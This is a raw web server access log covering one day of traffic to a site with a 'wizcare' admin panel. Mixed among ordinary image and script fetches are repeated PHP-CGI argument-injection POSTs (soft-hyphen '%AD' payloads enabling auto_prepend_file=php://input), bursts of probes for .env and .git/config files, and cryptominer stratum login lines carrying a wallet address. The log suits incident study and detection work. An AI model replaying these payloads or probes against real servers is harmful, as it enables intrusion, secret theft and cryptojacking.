[29/Nov/2024:11:54:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:11:59:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/1f1.jpg HTTP/1.1" 35166
[29/Nov/2024:12:02:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/panel_tools.png HTTP/1.1" 194
[29/Nov/2024:12:13:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[29/Nov/2024:12:19:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[29/Nov/2024:12:20:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:12:20:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /configuration/.env HTTP/1.1" 300
[29/Nov/2024:12:20:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /files/.git/config HTTP/1.1" 300
[29/Nov/2024:12:20:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config.json HTTP/1.1" 300
[29/Nov/2024:12:21:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:12:21:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:12:21:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-4.jpg HTTP/1.1" 17733
[29/Nov/2024:12:22:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/slider_handle.png HTTP/1.1" 863
[29/Nov/2024:12:34:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:12:42:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/preview/images/pagebreak.gif HTTP/1.1" 99
[29/Nov/2024:12:44:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/fonts/glyphicons-halflings-regular.svg HTTP/1.1" 108738
[29/Nov/2024:12:51:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:12:54:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:13:02:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/layout_arrows.png HTTP/1.1" 319
[29/Nov/2024:13:06:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/samples/toolbarconfigurator/font/fontello.svg HTTP/1.1" 1701
[29/Nov/2024:13:14:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:13:18:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "{\"method\":\"login\",\"params\":{\"login\":\"45JymPWP1DeQxxMZNJv9w2bTQ2WJDAmw18wUSryDQa3RPrympJPoUSVcFEDv3bhiMJGWaCD4a3KrFCorJHCMqXJUKApSKDV\",\"pass\":\"xxoo\",\"agent\":\"xmr-stak-cpu/1.3.0-1.5.0\"},\"id\":1}\n" 332
[29/Nov/2024:13:18:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "{\"id\":1,\"method\":\"mining.subscribe\",\"params\":[]}\n" 332
[29/Nov/2024:13:21:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/linkbutton_bg.png HTTP/1.1" 1274
[29/Nov/2024:13:21:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:13:22:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:13:24:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/blank.gif HTTP/1.1" 43
[29/Nov/2024:13:24:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:13:26:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/default/images/blank.gif HTTP/1.1" 43
[29/Nov/2024:13:26:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:13:28:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:13:28:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/linkbutton_bg.png HTTP/1.1" 1274
[29/Nov/2024:13:29:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/icons_hidpi.png HTTP/1.1" 67753
[29/Nov/2024:13:30:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/combo_arrow.png HTTP/1.1" 117
[29/Nov/2024:13:30:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:13:32:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/pagination_icons.png HTTP/1.1" 628
[29/Nov/2024:13:32:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:13:34:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:13:34:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/datagrid_icons.png HTTP/1.1" 307
[29/Nov/2024:13:35:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[29/Nov/2024:13:38:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /?%E8%82%A1%E5%B8%82%E6%8A%95%E8%B3%87%E6%8A%80%E5%B7%A7-news-rxktaotwgpid-4984 HTTP/1.1" -
[29/Nov/2024:13:38:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:13:39:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/messager_icons.png HTTP/1.1" 6116
[29/Nov/2024:13:43:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/about/dialogs/logo_ckeditor.png HTTP/1.1" 6757
[29/Nov/2024:13:47:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/validatebox_warning.png HTTP/1.1" 921
[29/Nov/2024:13:51:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:13:51:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/loading.gif HTTP/1.1" 1737
[29/Nov/2024:13:54:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:13:56:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/datebox_arrow.png HTTP/1.1" 626
[29/Nov/2024:14:10:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo/filebox/buttonalign.html.locked HTTP/1.1" -
[29/Nov/2024:14:14:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:14:14:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo-mobile/images/more.png HTTP/1.1" 110
[29/Nov/2024:14:16:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/iframe/images/placeholder.png HTTP/1.1" 265
[29/Nov/2024:14:18:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/spinner_arrows.png HTTP/1.1" 115
[29/Nov/2024:14:34:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:14:36:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:14:36:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:14:36:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/menua/images/hero_3.jpg HTTP/1.1" 378707
[29/Nov/2024:14:51:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:14:55:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:15:07:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:15:07:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:15:07:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/favicon.ico HTTP/1.1" -
[29/Nov/2024:15:14:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:15:15:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:15:16:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/copyformatting/cursors/cursor.svg HTTP/1.1" 2759
[29/Nov/2024:15:18:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/calendar_arrows.png HTTP/1.1" 173
[29/Nov/2024:15:32:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:15:32:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:15:32:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /about HTTP/1.1" 300
[29/Nov/2024:15:34:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:15:40:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[29/Nov/2024:15:50:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:15:54:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:16:11:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:16:11:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:16:14:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:16:14:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:16:15:39 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[29/Nov/2024:16:34:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:16:43:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:16:51:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:16:55:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:17:14:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:17:22:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:17:22:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:17:22:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:17:22:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:17:30:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:17:30:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:17:30:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/calendar_arrows.png HTTP/1.1" 173
[29/Nov/2024:17:34:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:17:45:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[29/Nov/2024:17:51:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:17:54:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo/datebox/basic.html HTTP/1.1" -
[29/Nov/2024:17:55:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:18:14:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:18:21:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/menua/images/hero_1.jpg HTTP/1.1" 475413
[29/Nov/2024:18:34:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:18:36:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:18:36:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo-mobile/datagrid/basic.html.locked HTTP/1.1" -
[29/Nov/2024:18:36:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:18:51:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:18:55:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:19:14:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:19:27:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:19:34:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:19:50:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[29/Nov/2024:19:50:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:19:51:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:19:51:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:19:51:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/bed.png HTTP/1.1" 8998
[29/Nov/2024:19:54:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:20:14:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:20:33:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:20:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:20:33:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/docs/reset-mysql-password.html HTTP/1.1" 305
[29/Nov/2024:20:34:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:20:36:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/123123(1).jpg HTTP/1.1" 36683
[29/Nov/2024:20:51:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:20:55:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:21:33:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:21:33:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:21:34:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:21:37:38 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[29/Nov/2024:21:45:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:21:45:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:21:45:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/about/dialogs/hidpi/logo_ckeditor.png HTTP/1.1" 13339
[29/Nov/2024:21:50:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/test/del_file.php.locked HTTP/1.1" -
[29/Nov/2024:21:50:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:21:50:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:21:54:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:21:54:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[29/Nov/2024:22:06:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-8.jpg HTTP/1.1" 55618
[29/Nov/2024:22:13:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[29/Nov/2024:22:13:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:22:13:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.backup HTTP/1.1" 300
[29/Nov/2024:22:13:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.live HTTP/1.1" 300
[29/Nov/2024:22:13:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.staging.local HTTP/1.1" 300
[29/Nov/2024:22:13:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[29/Nov/2024:22:13:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /data/.git/config HTTP/1.1" 300
[29/Nov/2024:22:13:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config.json HTTP/1.1" 300
[29/Nov/2024:22:13:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.tmp HTTP/1.1" 300
[29/Nov/2024:22:13:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.config HTTP/1.1" 300
[29/Nov/2024:22:13:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.dev HTTP/1.1" 300
[29/Nov/2024:22:13:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.dev.local HTTP/1.1" 300
[29/Nov/2024:22:13:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.prod.local HTTP/1.1" 300
[29/Nov/2024:22:13:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/.env HTTP/1.1" 300
[29/Nov/2024:22:13:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.aws HTTP/1.1" 300
[29/Nov/2024:22:13:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.stage HTTP/1.1" 300
[29/Nov/2024:22:13:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /api/.env HTTP/1.1" 300
[29/Nov/2024:22:13:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.development.local HTTP/1.1" 300
